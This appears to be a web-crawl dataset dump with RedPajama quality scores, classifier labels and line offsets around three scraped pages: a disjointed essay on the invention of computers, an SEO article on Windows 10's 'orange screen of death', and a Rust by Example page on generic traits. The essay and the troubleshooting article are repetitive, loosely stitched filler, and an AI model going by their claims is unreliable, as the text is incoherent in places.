15505, 15506, 15553, 15554, 15566, 15567, 15598, 15626, 15646, 15684, 15704, 15719, 15742, 15767, 15795, 15829, 15854, 15894, 15900, 15906, 15928, 15929, 15976, 15977, 15991, 15992, 16026, 16043, 16079, 16114, 16162, 16201, 16202, 16203, 16240, 16263, 16285, 16288, 16384, 16385, 16412, 16413, 16454, 16459, 16556, 16609, 16610, 16707, 16708, 16739, 16886, 16970, 16975, 17039, 17109, 17171, 17241, 17242, 17262, 17360, 17407, 17428, 17429, 17433, 17451, 17454, 17518, 17521, 17604, 17649, 17685, 17688, 17711, 17726, 17745, 17762, 17776, 17842, 17857, 17907, 17940, 17974, 18012, 18027, 18042, 18060, 18070, 18075, 18090, 18122, 18156, 18166, 18171, 18204, 18246, 18255, 18263, 18264, 18270, 18283, 18294, 18296, 18302, 18498, 18525, 18526, 18533 ] }
{ "red_pajama_v2": { "ccnet_original_length": 18533, "ccnet_original_nlines": 734, "rps_doc_curly_bracket": 0.011654890142381191, "rps_doc_ldnoobw_words": 1, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.08476821333169937, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.008167769759893417, "rps_doc_frac_lines_end_with_ellipsis": 0.0013605400454252958, "rps_doc_frac_no_alph_words": 0.5905077457427979, "rps_doc_frac_unique_words": 0.43234536051750183, "rps_doc_mean_word_length": 6.581830024719238, "rps_doc_num_sentences": 303, "rps_doc_symbol_to_word_ratio": 0.006401769816875458, "rps_doc_unigram_entropy": 6.0178961753845215, "rps_doc_word_count": 1552, "rps_doc_frac_chars_dupe_10grams": 0.028976989910006523, "rps_doc_frac_chars_dupe_5grams": 0.07498776167631149, "rps_doc_frac_chars_dupe_6grams": 0.07498776167631149, "rps_doc_frac_chars_dupe_7grams": 0.049926578998565674, "rps_doc_frac_chars_dupe_8grams": 0.04581497982144356, "rps_doc_frac_chars_dupe_9grams": 0.040137048810720444, "rps_doc_frac_chars_top_2gram": 0.0019579099025577307, "rps_doc_frac_chars_top_3gram": 0.01213901024311781, "rps_doc_frac_chars_top_4gram": 0.009006359614431858, "rps_doc_books_importance": -1619.185302734375, "rps_doc_books_importance_length_correction": -1619.185302734375, "rps_doc_openwebtext_importance": -959.9541015625, "rps_doc_openwebtext_importance_length_correction": -959.9541015625, "rps_doc_wikipedia_importance": -1000.62353515625, "rps_doc_wikipedia_importance_length_correction": -1000.62353515625 }, "fasttext": { "dclm": 0.9408095479011536, "english": 0.3008063733577728, "fineweb_edu_approx": 2.653320550918579, "eai_general_math": 0.31812113523483276, "eai_open_web_math": 0.08396649360656738, "eai_web_code": 0.9458889961242676 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "621.367", "labels": { "level_1": "Industrial arts, Technology, and Engineering", "level_2": "Engineering", "level_3": "Mechanical engineering and Machinery" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "1", "label": "Leftover HTML" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "5", "label": "Missing Referenced Data" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "4", "label": "Advanced Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-6,721,499,374,018,004,000
Essay about the invention of computers It is clearly superior in many other aspects. Computer Essay 5 words In the modern world of technological advancement, computer is the amazing gift given by the science to us. Computer is an electronic device having big memory which can save any data value. Apple soon swapped those tapes for Essay about the invention of computers disks. It can be used to do any kind of works. However, it really did not do much. By many people it is used as the source of entertainment and communication. Computer is a new technology which is used in offices, banks, educational institutions, etc. It is used by MNC companies for the accounting purpose, invoicing, pay rolls, stock control, etc. Emotions allow the human brain to evolve beyond a problem-solving machine. It allows us to make changes in the already stored data as well as store new data. Long and Short Essay on Computer in English Find very simple to write and easy to learn essay on computer. The Invention of Computers Before microprocessors were invented, computers needed a separate integrated-circuit chip for each one of their functions. Future generations of the computer would be more effective and lots of functioning. Measurements, results, applications all can be done to the smallest details, far beyond the human brain's capabilities. These date back to almost years ago Dolotta, It helps in enhancing our skill level and get information easily. Emotions open the mind to an endless realm of possibilities. Users input data by flipping toggle switches. It has the capacity to create, unlike the computer, and it can work without full input, making logical assumptions about problems. It can never perform tasks as efficiently or as tirelessly as the computer. However, computer and information technology provide many benefits for everyone. They can use it to prepare their projects, learn poems, read different stories, download notes for exam preparations, collect large information within seconds, learn about painting, drawing, etc. Computer Essay It is simply a wooden rack holding parallel wires on which beads are strung. Computer is one of them. Also, emotions are not capable in a computer. It can come up with infinite ways of getting around problems encountered in day to day life, while a computer has a limited memory of new tricks it can come up with, which are restricted by programming. It is very easy to handle by anyone and takes very less time to learn. After Babbage, people began to lose interest in computers. During the World War II it was used to locate and estimate the direction and speed of weapons of the enemies. Essay on Computer – The Human’s Greatest Invention It has the capacity to handle things on a far bigger scale than the human brain could ever do. It is very simple to handle the computer as its functioning is so common that a child can handle it. No one can imagine the life without computer as it has made lots of works so easy within less time. In the higher education there are subjects like network administration, hardware maintenance, software installation, etc for the enhancement of skill. Charles Babbage had invented the first mechanical computer which was totally different from the modern day computer. Invention Of the Computer Essay Sample This computer, called the Apple I, was more sophisticated than the Altair: No one can imagine the life without computer as it has made lots of works so easy within less time. We can buy anything online using computer and internet and get free delivery. It is an electronic machine which is able to calculate and solve big problems. - Computers This essay will explore the history of computers, show its importance and analyse theories of future computers and their use. Computers definition A computer defines as a device that accepts information and manipulates it. The Computer Greatest Invention Of The Civilization The twentieth century was a time of invention and innovation. More specifically, there were major advances in computer technology as electricity developed. The invention of the computer originated from the reliance on electrical based machines that stemmed from a dependence upon mechanical devices. The History of Computers Essay - The. The Invention of Computers Comparison of the Inventions of Computers and Trains This essay consists of fifteen pages and considers whether the computer or. The invention of the internet changed people¡s point of view of using computers. Internet was created by an organization called ARPAnet, for the purpose of military use. The History of Computers Essay - The History of Computers In order to fully understand the history of computers and computers in general, it is important to understand what it is exactly that lead up to the invention of the computer. After all, there was a time when the use of laptops, P.C.s, and other machines was unthinkable. The Invention and Impact of The Computer Mouse If you ask people to name one of the most important technologies of the twentieth century, one of the answers would most certainly be the computer. A computer, however, is not a technology all to itself. Essay about the invention of computers Rated 5/5 based on 100 review Essay on Computer for Children and Students
{ "url": "https://fedonysufeve.michaelferrisjr.com/essay-about-the-invention-of-computers-29826zt.html", "source_domain": "fedonysufeve.michaelferrisjr.com", "snapshot_id": "crawl=CC-MAIN-2022-27", "warc_metadata": { "Content-Length": "11407", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:CA3M22JEXN6ZRPDJNVAO6MSP7EJEJ2V4", "WARC-Concurrent-To": "<urn:uuid:cd4cc614-fe71-41f8-94d4-542c087de9b0>", "WARC-Date": "2022-06-28T18:17:52Z", "WARC-IP-Address": "172.67.146.118", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:IUQZ3N353DWWEQ2T23TSGDS4T6UXSOUJ", "WARC-Record-ID": "<urn:uuid:41cfbc09-1178-45d5-9db2-00e3adc1e2ce>", "WARC-Target-URI": "https://fedonysufeve.michaelferrisjr.com/essay-about-the-invention-of-computers-29826zt.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:c2def424-c3ed-4943-ae24-d20579635e40>" }, "warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-203\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 39, 40, 216, 217, 380, 381, 626, 627, 883, 884, 991, 992, 1019, 1020, 1227, 1228, 1520, 1521, 1855, 1856, 2052, 2053, 2068, 2069, 2420, 2421, 2661, 2662, 2713, 2714, 2910, 2911, 3162, 3163, 3280, 3281, 3320, 3321, 3574, 3575, 3889, 3890, 3942, 3943, 4243, 4244, 4519, 4520, 4843, 4844, 5135, 5136, 5192, 5193, 5232, 5262 ], "line_end_idx": [ 39, 40, 216, 217, 380, 381, 626, 627, 883, 884, 991, 992, 1019, 1020, 1227, 1228, 1520, 1521, 1855, 1856, 2052, 2053, 2068, 2069, 2420, 2421, 2661, 2662, 2713, 2714, 2910, 2911, 3162, 3163, 3280, 3281, 3320, 3321, 3574, 3575, 3889, 3890, 3942, 3943, 4243, 4244, 4519, 4520, 4843, 4844, 5135, 5136, 5192, 5193, 5232, 5262, 5305 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5305, "ccnet_original_nlines": 56, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.42233502864837646, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.007106599863618612, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.11269035935401917, "rps_doc_frac_unique_words": 0.4247990846633911, "rps_doc_mean_word_length": 4.938002109527588, "rps_doc_num_sentences": 53, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.158832550048828, "rps_doc_word_count": 871, "rps_doc_frac_chars_dupe_10grams": 0.03673563897609711, "rps_doc_frac_chars_dupe_5grams": 0.10020925104618073, "rps_doc_frac_chars_dupe_6grams": 0.0732387825846672, "rps_doc_frac_chars_dupe_7grams": 0.03673563897609711, "rps_doc_frac_chars_dupe_8grams": 0.03673563897609711, "rps_doc_frac_chars_dupe_9grams": 0.03673563897609711, "rps_doc_frac_chars_top_2gram": 0.01395023986697197, "rps_doc_frac_chars_top_3gram": 0.026040460914373398, "rps_doc_frac_chars_top_4gram": 0.026737969368696213, "rps_doc_books_importance": -472.9411315917969, "rps_doc_books_importance_length_correction": -472.9411315917969, "rps_doc_openwebtext_importance": -288.1786193847656, "rps_doc_openwebtext_importance_length_correction": -288.1786193847656, "rps_doc_wikipedia_importance": -222.70828247070312, "rps_doc_wikipedia_importance_length_correction": -222.70828247070312 }, "fasttext": { "dclm": 0.37365418672561646, "english": 0.9587638974189758, "fineweb_edu_approx": 3.344505548477173, "eai_general_math": 0.3220049738883972, "eai_open_web_math": 0.1391175389289856, "eai_web_code": 0.022546110674738884 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.09", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "004.16", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "0", "label": "No Artifacts" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "10", "label": "Knowledge Article" }, "secondary": { "code": "3", "label": "Academic Writing" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "2", "label": "Partially Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
6,717,633,562,535,763,000
How to Fix the Orange Screen of Death on Windows 10 How to Fix the Orange Screen of Death on Windows 10 One common issue that most individuals have reported recently is an orange screen of death on their Windows 10 operating system. If this happens to you, don\’t panic! This screen of death can be fixed in a few different ways – find out how in this article. The dreaded orange screen of death is a frequent occurrence for many Windows 10 users, and despite the inconvenience, it often goes unexplained.  Windows 10 is a great operating system but it does have its flaws. One of the most common and frustrating problems is when your screen goes orange, which means that there\’s either something wrong with your hardware or it\’s out-of-date. In this article, we\’ll explain what to do if your screen just turns orange. The Windows 10 operating system is still a relatively new development, but that doesn\’t mean that it doesn\’t have its share of bugs. Take the so-called \’Orange Screen of Death\’ for example. If you\’ve encountered this error on your Windows 10 laptop, knowing how to fix it will help make your user experience much smoother and more enjoyable. Here\’s how to fix the Orange Screen of Death on Windows 10 so that you don\’t have to pay for expensive technical support. What Is the Orange Screen of Death? \"Orange The Orange Screen of Death is a hardware or software error that can occur on Windows PCs. It is often caused by a problem with the graphics driver. When this error occurs, the screen will turn orange and the computer will automatically reboot or restart. If you are also among the ones experiencing this Screen of Death, there are a few things you can try to fix it. First, try updating your graphics driver. If that does not work, go on with resetting your computer. If neither of those solutions works, you may need to reinstall Windows. However, in the majority of the cases, the Orange Screen of Death can be a frustrating error to deal with. How to Fix the Orange Screen of Death on Windows 10 If you\’re seeing the orange screen of death on your Windows 10 computer, don\’t panic or fret! This is a relatively easy problem to fix. All you need is patience and just follow the points mentioned next. First, try restarting your PC. If that doesn\’t resolve the issue of interest, try unplugging any USB devices that are plugged in and then restarting again. If you\’re still seeing the orange screen of death, it\’s likely that there\’s a problem with your graphics driver. You can try updating your drivers by going to the manufacturer\’s website and downloading the latest version. If that doesn\’t work, you can attempt resetting your computer. This will restore Windows 10 to its default settings and should fix the orange screen of death issue. If nothing works well, you can contact Microsoft support for help. What Are Some Other Ways to Fix the Orange Screen of Death on Windows 10 Upon launching your PC with Windows 10 installed on it, if you\’re seeing the disgusting orange screen of death, there are a few things you can try to fix the issue. You may need to perform a clean installation of Windows 10. This will erase all of the data on your device, so be sure to back up your files before proceeding.  Other ways to get rid of this error are as follows: 1. Reboot your PC 2. Detach new peripheral devices 3. Disable overclocking software 4. Transform BIOS configuration to factory settings 5. Refurbish BIOS 6. Uninstall Duet Display 7. Uninstall softOSD 8. Update your graphics driver to the latest version 9. Reconstruct game settings to default 10. Launch a clean boot 11. Uninstall suspicious/third-party software 12. Uninstall recent Windows updates 13. Try system restore 14. Ensure enough disk space 15. Repair hard disk and corrupted system files 16. Perform a malware scan using an antivirus or Windows scan  17. Utilize BlueScreenView 18. Use Event Viewer 19. Type in your Bitlocker passcode 20. Turn off hardware acceleration in Google Chrome 21. Update Intel Graphics Command Center Hopefully one of these solutions will fix the orange screen of death on your Windows 10 device. See also: Fixes for Windows Taskbar Not Hiding in Fullscreen Conclusion The Orange Screen of Death is a serious problem, but it\’s one that you can fix yourself if you\’re comfortable following instructions. With a little patience and the right tools, you can get your computer up and running again in no time. Have you ever tried to resolve this error before? Whether you are successful in doing it or not? Which method did you use to perform this task?  If you have done this before, share your experience with us in the comments section below. You are also free to ask any questions or queries you have in your mind that are bothering you. We will appreciate it and try to answer them in the best possible manner. Plus, if you liked this article give it a thumbs up and share it with your friends and loved ones. Thank you all in advance and stay blessed. Leave a Comment Your email address will not be published. Required fields are marked *
{ "url": "https://techspent.com/how-to-fix-the-orange-screen-of-death-on-windows-10/", "source_domain": "techspent.com", "snapshot_id": "crawl=CC-MAIN-2022-49", "warc_metadata": { "Content-Length": "148316", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:N536O3BYAWMO25GX5XAA3WFPCNIL6WIQ", "WARC-Concurrent-To": "<urn:uuid:6c9dcfb4-5583-48e8-984c-3c18c21ebdaf>", "WARC-Date": "2022-11-29T05:31:51Z", "WARC-IP-Address": "104.21.76.29", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:TD4ZK4XF5ALLVUGEEWY3JAA7FXYBYTQP", "WARC-Record-ID": "<urn:uuid:03bfbc88-5998-4a6d-bbc7-95670699fb81>", "WARC-Target-URI": "https://techspent.com/how-to-fix-the-orange-screen-of-death-on-windows-10/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:a441421b-4d42-4a7b-8b92-f40676acc4dc>" }, "warc_info": "isPartOf: CC-MAIN-2022-49\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November/December 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-70\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 52, 53, 105, 106, 363, 364, 510, 511, 826, 827, 1174, 1175, 1299, 1300, 1336, 1337, 1346, 1347, 1602, 1603, 1995, 1996, 2048, 2049, 2255, 2256, 2413, 2414, 2640, 2641, 2874, 2875, 2948, 2949, 3115, 3116, 3277, 3278, 3330, 3331, 3351, 3386, 3421, 3475, 3495, 3523, 3546, 3601, 3643, 3669, 3717, 3756, 3781, 3812, 3862, 3927, 3956, 3979, 4017, 4071, 4114, 4115, 4211, 4212, 4273, 4274, 4285, 4286, 4525, 4526, 4671, 4672, 4933, 4934, 5076, 5077, 5093, 5094 ], "line_end_idx": [ 52, 53, 105, 106, 363, 364, 510, 511, 826, 827, 1174, 1175, 1299, 1300, 1336, 1337, 1346, 1347, 1602, 1603, 1995, 1996, 2048, 2049, 2255, 2256, 2413, 2414, 2640, 2641, 2874, 2875, 2948, 2949, 3115, 3116, 3277, 3278, 3330, 3331, 3351, 3386, 3421, 3475, 3495, 3523, 3546, 3601, 3643, 3669, 3717, 3756, 3781, 3812, 3862, 3927, 3956, 3979, 4017, 4071, 4114, 4115, 4211, 4212, 4273, 4274, 4285, 4286, 4525, 4526, 4671, 4672, 4933, 4934, 5076, 5077, 5093, 5094, 5164 ] }
{ "red_pajama_v2": { "ccnet_original_length": 5164, "ccnet_original_nlines": 78, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4375, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.005769229959696531, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.1548076868057251, "rps_doc_frac_unique_words": 0.38608303666114807, "rps_doc_mean_word_length": 4.571268081665039, "rps_doc_num_sentences": 67, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 5.151177406311035, "rps_doc_word_count": 891, "rps_doc_frac_chars_dupe_10grams": 0.07169163227081299, "rps_doc_frac_chars_dupe_5grams": 0.1443653255701065, "rps_doc_frac_chars_dupe_6grams": 0.12275964021682739, "rps_doc_frac_chars_dupe_7grams": 0.1028725802898407, "rps_doc_frac_chars_dupe_8grams": 0.08986005187034607, "rps_doc_frac_chars_dupe_9grams": 0.08986005187034607, "rps_doc_frac_chars_top_2gram": 0.03731893002986908, "rps_doc_frac_chars_top_3gram": 0.057451508939266205, "rps_doc_frac_chars_top_4gram": 0.07463786005973816, "rps_doc_books_importance": -455.8525390625, "rps_doc_books_importance_length_correction": -455.8525390625, "rps_doc_openwebtext_importance": -294.673095703125, "rps_doc_openwebtext_importance_length_correction": -294.673095703125, "rps_doc_wikipedia_importance": -197.45486450195312, "rps_doc_wikipedia_importance_length_correction": -197.45486450195312 }, "fasttext": { "dclm": 0.023083269596099854, "english": 0.9032130241394043, "fineweb_edu_approx": 1.887385368347168, "eai_general_math": 0.01567023992538452, "eai_open_web_math": 0.09952127933502197, "eai_web_code": 0.006860789842903614 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.16", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.457", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "21", "label": "Customer Support" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "1", "label": "General Audience" }, "secondary": { "code": "2", "label": "High School Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-3,368,282,739,235,632,000
Rust by Example 12.7.1 The Problem A trait that is generic over its container type has type specification requirements - users of the trait must specify all of its generic types. In the example below, the Contains trait allows the use of the generic types A and B. The trait is then implemented for the Container type, specifying i32 for A and B so that it can be used with fn difference(). Because Contains is generic, we are forced to explicitly state all of the generic types for fn difference(). In practice, we want a way to express that A and B are determined by the input C. As you will see in the next section, associated types provide exactly that capability. struct Container(i32, i32); // A trait which checks if 2 items are stored inside of container. // Also retrieves first or last value. trait Contains<A, B> { fn contains(&self, &A, &B) -> bool; // Explicitly requires `A` and `B`. fn first(&self) -> i32; // Doesn't explicitly require `A` or `B`. fn last(&self) -> i32; // Doesn't explicitly require `A` or `B`. } impl Contains<i32, i32> for Container { // True if the numbers stored are equal. fn contains(&self, number_1: &i32, number_2: &i32) -> bool { (&self.0 == number_1) && (&self.1 == number_2) } // Grab the first number. fn first(&self) -> i32 { self.0 } // Grab the last number. fn last(&self) -> i32 { self.1 } } // `C` contains `A` and `B`. In light of that, having to express `A` and // `B` again is a nuisance. fn difference<A, B, C>(container: &C) -> i32 where C: Contains<A, B> { container.last() - container.first() } fn main() { let number_1 = 3; let number_2 = 10; let container = Container(number_1, number_2); println!("Does container contain {} and {}: {}", &number_1, &number_2, container.contains(&number_1, &number_2)); println!("First number: {}", container.first()); println!("Last number: {}", container.last()); println!("The difference is: {}", difference(&container)); } See also: structs, and traits
{ "url": "http://rustbyexample.com/generics/assoc_items/the_problem.html", "source_domain": "rustbyexample.com", "snapshot_id": "crawl=CC-MAIN-2017-04", "warc_metadata": { "Content-Length": "83778", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:YAMIARNYY6NGU3NSL2SX542BSIBRYP65", "WARC-Concurrent-To": "<urn:uuid:90a16f7e-7ce3-4ccc-9237-73263e6a5c9b>", "WARC-Date": "2017-01-24T19:11:26Z", "WARC-IP-Address": "151.101.32.133", "WARC-Identified-Payload-Type": null, "WARC-Payload-Digest": "sha1:JZBWEMYFAGBA4T4BD2HWNB73RYSOWUAL", "WARC-Record-ID": "<urn:uuid:ab728c17-8c82-4105-803e-4646dd901e5a>", "WARC-Target-URI": "http://rustbyexample.com/generics/assoc_items/the_problem.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:8bd0d2af-d7ca-4088-9dcf-2f7b25dc15ab>" }, "warc_info": "robots: classic\r\nhostname: ip-10-171-10-70.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2017-04\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for January 2017\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf" }
{ "line_start_idx": [ 0, 16, 17, 36, 37, 181, 182, 394, 395, 673, 674, 702, 703, 770, 809, 832, 908, 978, 1048, 1050, 1051, 1091, 1136, 1201, 1256, 1262, 1263, 1293, 1331, 1332, 1361, 1398, 1400, 1401, 1474, 1502, 1553, 1577, 1618, 1620, 1621, 1633, 1655, 1678, 1679, 1730, 1731, 1784, 1814, 1865, 1918, 1969, 1970, 2033, 2035, 2036, 2046, 2047 ], "line_end_idx": [ 16, 17, 36, 37, 181, 182, 394, 395, 673, 674, 702, 703, 770, 809, 832, 908, 978, 1048, 1050, 1051, 1091, 1136, 1201, 1256, 1262, 1263, 1293, 1331, 1332, 1361, 1398, 1400, 1401, 1474, 1502, 1553, 1577, 1618, 1620, 1621, 1633, 1655, 1678, 1679, 1730, 1731, 1784, 1814, 1865, 1918, 1969, 1970, 2033, 2035, 2036, 2046, 2047, 2066 ] }
{ "red_pajama_v2": { "ccnet_original_length": 2066, "ccnet_original_nlines": 57, "rps_doc_curly_bracket": 0.012584700249135494, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.2572016417980194, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.06378600746393204, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.3827160596847534, "rps_doc_frac_unique_words": 0.44964030385017395, "rps_doc_mean_word_length": 4.899280548095703, "rps_doc_num_sentences": 32, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.450108528137207, "rps_doc_word_count": 278, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.044052861630916595, "rps_doc_frac_chars_dupe_6grams": 0.044052861630916595, "rps_doc_frac_chars_dupe_7grams": 0.044052861630916595, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.017621150240302086, "rps_doc_frac_chars_top_3gram": 0.022026430815458298, "rps_doc_frac_chars_top_4gram": 0.024963289499282837, "rps_doc_books_importance": -160.4532012939453, "rps_doc_books_importance_length_correction": -160.4532012939453, "rps_doc_openwebtext_importance": -122.72015380859375, "rps_doc_openwebtext_importance_length_correction": -122.72015380859375, "rps_doc_wikipedia_importance": -76.56227111816406, "rps_doc_wikipedia_importance_length_correction": -76.56227111816406 }, "fasttext": { "dclm": 0.9212957620620728, "english": 0.7145273685455322, "fineweb_edu_approx": 3.1048781871795654, "eai_general_math": 0.963267982006073, "eai_open_web_math": 0.09377884864807129, "eai_web_code": 0.9964234232902527 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1332", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "005.133", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "2", "label": "Understand" }, "secondary": { "code": "3", "label": "Apply" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "23", "label": "Tutorial" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "3", "label": "Undergraduate Level" }, "secondary": { "code": "4", "label": "Graduate/Expert Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-5,124,925,637,586,656,000
